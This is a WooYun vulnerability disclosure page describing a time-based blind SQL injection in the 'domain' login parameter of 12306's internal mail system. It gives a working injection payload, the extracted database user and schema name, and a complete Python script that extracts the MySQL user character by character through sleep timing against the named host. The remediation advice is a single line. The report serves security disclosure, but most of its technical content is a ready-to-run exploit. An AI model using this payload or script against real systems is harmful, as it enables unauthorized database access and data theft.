当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-089304

漏洞标题：12306某内部系统MySQL盲注需进一步修复(附验证脚本第四次绕过)

相关厂商：12306

漏洞作者： lijiejie

提交时间：2014-12-30 13:55

修复时间：2015-02-13 13:56

公开时间：2015-02-13 13:56

漏洞类型：SQL注射漏洞

危害等级：低

自评Rank：1

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-12-30： 细节已通知厂商并且等待厂商处理中
2015-01-01： 厂商已经确认，细节仅向厂商公开
2015-01-11： 细节向核心白帽子及相关领域专家公开
2015-01-21： 细节向普通白帽子公开
2015-01-31： 细节向实习白帽子公开
2015-02-13： 细节向公众公开

简要描述：

12306某内部系统MySQL盲注需进一步修复(附验证脚本,第四次绕过)
已存在多年，一直未修复完全，影响内部运营数据

详细说明：

注射点：

POST http://mail.12306.cn/app/mail/login
domain=aa'XOR(if(length(database())=4,sleep(1),0))OR'bb&id=1&lang=zh_cn&pwd=1&remember=on&sid=d947be26445ad5a2c49b16f97a22be55&style=classic


参数domain可注入，MySQL time blind. sid每次需要重新获取。

漏洞证明：

猜解user()，得到：

mail@localhost


12306.mail.mysql.blind.png


当前库：

mail


验证脚本： 

#encoding=gbk
import urllib2
import re
import httplib
import time
import string
import sys
import random
import urllib
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'Cookie': '',
    'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
html_doc = urllib2.urlopen('http://mail.12306.cn/app/mail/entry').read()
sid = re.search('name=sid value="([^"]+)"', html_doc).group(1)
print 'start to retrive MySQL user:'
user = ''
for i in range(1,15):
    count = 0
    for payload in payloads:
        try:
            conn = httplib.HTTPConnection('mail.12306.cn', timeout=60)
            s = "123'XOR(if(ascii(mid(lower(user())from(%s)for(1)))=%s,sleep(5),0))OR'bbb" % (i, ord(payload) )
            params = {
                'id': '1',
                'lang': 'zh_cn',
                'pwd': 'test',
                'remember': 'on',
                'sid': sid,
                'style': 'classic',
                'domain': s
            }
            conn.request(method='POST',
                         url='/app/mail/login',
                         body = urllib.urlencode(params),
                         headers = headers)
            start_time = time.time()
            html_doc = conn.getresponse().read()
            conn.close()
            if time.time() - start_time > 5:
                raise Exception('oooooooops')
            count += 1
            sys.stdout.write('\r'+ '.' * count)
            sys.stdout.flush()
        except:
            user += payload
            print '\r[In progress]', user
            break
print '\n[Done]MySQL user is', user

修复方案：

建议还是过滤一下

版权声明：转载请注明来源 lijiejie@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：7

确认时间：2015-01-01 10:13

厂商回复：

正在检查

最新状态：

暂无